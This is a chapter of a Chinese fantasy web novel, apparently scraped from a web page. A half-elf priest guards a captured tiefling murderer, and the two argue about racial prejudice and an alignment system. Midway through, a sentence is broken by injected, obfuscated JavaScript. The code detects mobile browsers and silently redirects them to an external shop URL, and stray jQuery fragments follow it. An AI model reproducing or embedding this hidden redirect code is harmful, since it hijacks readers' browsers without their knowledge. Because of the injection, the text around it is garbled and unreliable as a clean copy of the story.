艾维提剑靠在墙上,警惕地盯着凯伊。
魔裔坐在墙角,双手被缚,盯着横梁不知道在想什么。
木屋里没有任何显示时间的东西,离开了电子设备,艾维实在对时间流逝缺乏概念。她默默数着心跳声计时,暗自祈祷事情就这么顺利结束。
可千万不要再有什么额外的展开了。
“半精灵,你刚刚为什么不杀我?”凯伊突然开口了。
她的语气很平静,带着一丝真实的不解:“冲我脖子的那一剑,如果你最后没有故意砍偏,我已经身首异处了吧。”
“下意识而已,我不喜欢杀人。”艾维沉声道,“再来一次,我不会砍偏了。”
艾维无法否认她那一瞬间的于心不忍,但现在想来,在死斗中留手,简直是拿自己和玛德琳的生命开玩笑。
“这样啊……”凯伊有些失望,“这么说,你也不会放我走了?”
“放了你?怎么可能?”艾维简直莫名其妙。
“你把我送进治安署的话,我会死的。”凯伊理所当然地陈述。
“你杀人了!”
艾维发现自己完全不懂凯伊在想什么:“一命偿一命,这很公平。”
“公平?难道你猜不出来我为什么要杀他?”
凯伊古怪地笑了:“总不能是因为我饿了吧。人类可没兔子好吃。”
“我对你们的感情纠葛没有任何兴趣,你不用告诉我。”艾维平静地说,“我只知道,杀人是不对的。”
“因为他该死!”
凯伊愤恨地说:“就因为我是个魔裔?所以就生来低贱,配不上前途光明的书记员?和我的关系就这么见不得人吗?”
好吧……就是这样。
在这个案子里,某种古怪的违和感就像房间里的一只庞然大物,所有人都感觉到了不对劲,却习惯性地视而不见。
米歇尔婶婶拿出来的骨质吊坠,显然曾被随身佩戴了很久,最近却替换掉了。
拉姆是猎屋酒馆的常客,他的同事加德纳却根本不知道这一点。
拉姆想要挽回未婚妻,请求珍小姐给他一些时间处理“这些事情”。
最后是老伏恩的证词,他和凯伊会一起喝酒,算是朋友。
那天,向来自律最多喝两杯的拉姆罕见地多要了一杯酒,心烦意乱地出了城,最后消失在了城外……
线索七零八落,都是言谈间泄漏的一鳞半爪,每一片单独拿出来都不知所云。但拼凑在一起,却能得出那个最终的结论。
死者的配偶总是第一嫌疑人。看来这条定律在这个世界依然成立。
“所以你就杀了他?”艾维恨铁不成钢地提高了音量。
“天下男人那么多,就不能和平分手吗?”
“我是魔裔。他不该欺骗恶魔的感情。”
凯伊冰冷地说:“魔裔血脉里杀戮的冲动是无法控制的,那是我们力量的来源,也是最大的诅咒。他招惹了我,就该有死在我手上的觉悟。”
艾维打了个冷颤。
……小巷里的那场战斗,难道卡米洛是真可能杀了他小时候在帮派的兄弟?不至于吧!
“半精灵,你该懂的啊。”
凯伊盯着艾维的眼睛,嘴角勾起一个嘲讽的弧度。
“这座城市何曾欢迎过我们?魔裔生来邪恶,精灵天性混乱。那种仅仅因为你的长相你的种族,就坚信你生来如此,你的一切反抗都是徒劳的感觉。你难道没有切身体会过吗?”
艾维迟疑了。
“我……可以想象。”
短短几天,她遭受的异样眼光就超过了过去的总和。
如果从出生开始就活在更加恶毒的环境下……凯伊的处境,不难想象一二。
“但一码归一码,这不是你杀了拉姆,手段还这么凶残的理由!”艾维补上一句。
“呵呵……哈哈哈哈哈!”
然而,面对艾维的反应,凯伊竟然大笑了出来:“我猜,你属于善良阵营吧?祭司大人?”
“是又如何?”艾维反问道。
“难怪、难怪……”
凯伊没有回答,只是冷笑着摇头。
“既然我已经杀了他,当然要把痕迹处理干净。总不能等着你们来抓我。”
很合理。艾维无言以对。
凯伊肯定不愿束手就擒,如何处理尸体——物理和超凡层面的,就成了最大的问题。
“你为什么还要去老伏恩那买烤肉酱?”艾维忍不住问,“如果不是你留下了这条线索,我们未必抓得到你。”
现在想来,这个案子的突破口完全来源于艾维机缘巧合下,随口问了老伏恩一句话。
否则,大概真会变成一桩悬案。
在旁人看来,拉姆的社会关系里可没有凯伊的存在,动机根本无从查起。
一个平民的案子,派出低阶超凡者已是极限,她只需提防简单的预言魔法就行。只要处理掉尸体,凯伊就能从这件案子的视野里成功脱身。
玛德琳从大主祭那得到的圣徽是个凯伊没想到的意外,三环神术诚实之域根本不该出现在这个层次的案件里,但凯伊反应敏捷,措手不及下竟也差点蒙混过关。
只是很不幸,艾维在吃烤兔的时候多嘴问了一句。
都怪那只兔子。都怪烤肉酱。
“也许是因为我只是魔裔,还不是真正的恶魔。”
凯伊笑着说,牙齿尖尖:“恶魔可以生食血肉,我却做不到。”
“你……”艾维惊疑道。
“我试过,觉得很恶心。只有最开始掏出他心脏吃掉的时候我高兴了一会儿……剩下的部分都像是在受刑……”凯伊舔了舔嘴唇。
“多可笑啊,不是说魔裔杂种和恶魔没什么两样吗?我已经决心当个恶魔了,还要在这种地方被提醒自己身上人类的那部分。”
凯伊沉思着。
“人类的本能真的很顽固……这是不是意味着,我永远都只能是一半一半?”
“要不要这么沉重啊……”艾维低声道,“我还是比较喜欢轻松明亮的故事。”
“好了,听了这么多,你现在能放了我吗?”魔裔期待地看向艾维。
“不可能!”艾维立刻从情绪里抽离出来。
想话疗她可没那么容易!
“你是戴安的祭司,有必要像天界之光一样正义凛然吗?”凯伊挑眉道,“放我走吧,我不是滥杀的人,老伏恩可以作证。我杀他,只是因为他背叛了我,仅此而已。”
“罪就是罪。”艾维坚持道,“就当我支持同态复仇好了,你这也根本谈不上吧?”
凯伊倒也没什么反应,只是散漫地倒了回去:“好吧……谁叫我没你们那个魔裔牧师那么好命呢?能把亮晶晶的阵营灵光披在身上炫耀。”
“和阵营无关!别把什么事情都推到阵营头上!”
被凯伊那种漠视生命的态度激怒,艾维带着薄怒开口:“我根本不关心你是什么颜色,你会死只是因为你杀人了!”
“是吗?善良的祭司大人,你真的很好笑。从最开始就是,一副天真单纯的样子,说着高高在上的话……”
凯伊冷笑着摇头:“生为魔裔,生活已经如此艰难,如果我属于中立阵营,姑且还可以做个好人。很可惜,我生来就带着邪恶灵光,周围人根本没给我这个机会。”
“他们都当我是未来的邪教徒或者杀人犯,现在我不过是满足了他们的期待而已。”魔裔顿了顿,无所谓一般地说:“拉姆……他只是再次证
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938207|213772||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
明了这一点。”
艾维烦躁地来回踱步:“所以,虽然你被这套系统害死了,但你愤怒的只是为什么你不是善良阵营?”
“……不然呢?”
凯伊讥诮道:“我们这样的魔裔,还有什么办法证明自己和恶魔不同吗?”
“所以说……到底为什么要证明自己是个好人啊!”艾维长叹一声。
“我不明白……”
“你当然不明白,即使你才是受害者!”艾维打断了凯伊。
凯伊还想说什么:“我……”
“你该恨的是这套把种族和品性绑定起来的阵营系统!”
艾维气急败坏地说:“见鬼的这就是种族歧视!就连理由都一样……颜色!要不要这么没创意啊?”
“……我不是那个意思。”
凯伊干巴巴地说。
这只半精灵脑子不正常,试图和她交流的自己才是蠢货。魔裔迅速认识到这一点,闭紧了嘴巴。
这是善良阵营?这是戴安的祭司?
竟然说这些大逆不道的狂言,她们两个谁更疯还不一定吧?
生命中最后一点时间,竟然浪费在听这些疯话上。还不如想好在终焉法庭的辩词,静静等待死亡女士的审判。
凶手闭着眼睛安静祈祷,看守却提着长剑愤懑踱步。
在这种诡异的氛围中不知道过了多久,木屋外终于响起了声音,玛德琳带着治安署的人回来了。
“就是她杀了拉姆。我们没找到尸体,可能是丢下悬崖或者被野兽吃掉了。把她带回去吧。”玛德琳向身后的卫兵吩咐道。
艾维迅速明白了玛德琳的想法。
真正的答案,太过残忍。
拉姆家未必接受得了,消息传开还会在城中渲染毫无必要的恐怖气氛。相较之下,不如以摔下悬崖尸骨全无结案。
卫兵小心翼翼地给凯伊带上了枷锁,那似乎是一种魔法束具,闪烁着淡淡的微光。
凯伊一言不发,甚至在通过最危险的栈桥时也没有试图制造些混乱逃跑。她好像接受了命运,漠然地被押送进了马车。
艾维和玛德琳在马车上相对而坐,马车角落则锁着凯伊。卫兵们对身为超凡者的凶手很是忌惮,坐在后面一辆马车上,把凯伊留给两名祭司看管。
随着窗外景色倒退而去,艾维紧绷的神经才终于松懈下来,有了些战斗结束的实感。
这还是她第一次面对真正的生死危机。
穿来的时候那些绑架犯已经死了,虽然场面血腥也只是看着吓人。至于小巷里那场战斗,卡米洛总不可能真的见死不救。
有那么一会儿,艾维是真的以为她要和玛德琳死在这里了。
但我做到了……艾维若有所思地凝视着手掌。
这具身体的潜能,有些超乎她的想象。凯伊可是二级战士,即使有玛德琳的祝福武器加持,要战胜她也绝对不是一个魔法学徒能做到的。
况且,过程甚至算不上僵持或者缠斗,几招之内,胜负已分,剩下的都是补刀而已。
我不是法师吗……回去得找把剑试试。
“有渡鸦的声音。”
闭目养神的玛德琳突然睁开了眼睛,语气里竟然有几分紧张。
“怎么了?”艾维茫然地看向车窗外。
一只羽毛漆黑的渡鸦在半空中盘旋了两圈,啸叫一声,随即目标明确地向着马车俯冲过来。
“嘿!”艾维想要伸手驱赶,但鸟儿身姿出奇地敏捷,竟然从她手臂缝隙间钻了进来,径直飞进了车窗。
“小艾维,小玛德琳,辛苦你们了。”
眨眼间,坐在马车上的,已然是一个女人。
玛德琳连忙起身行礼:“大主祭阁下!您怎么来了?”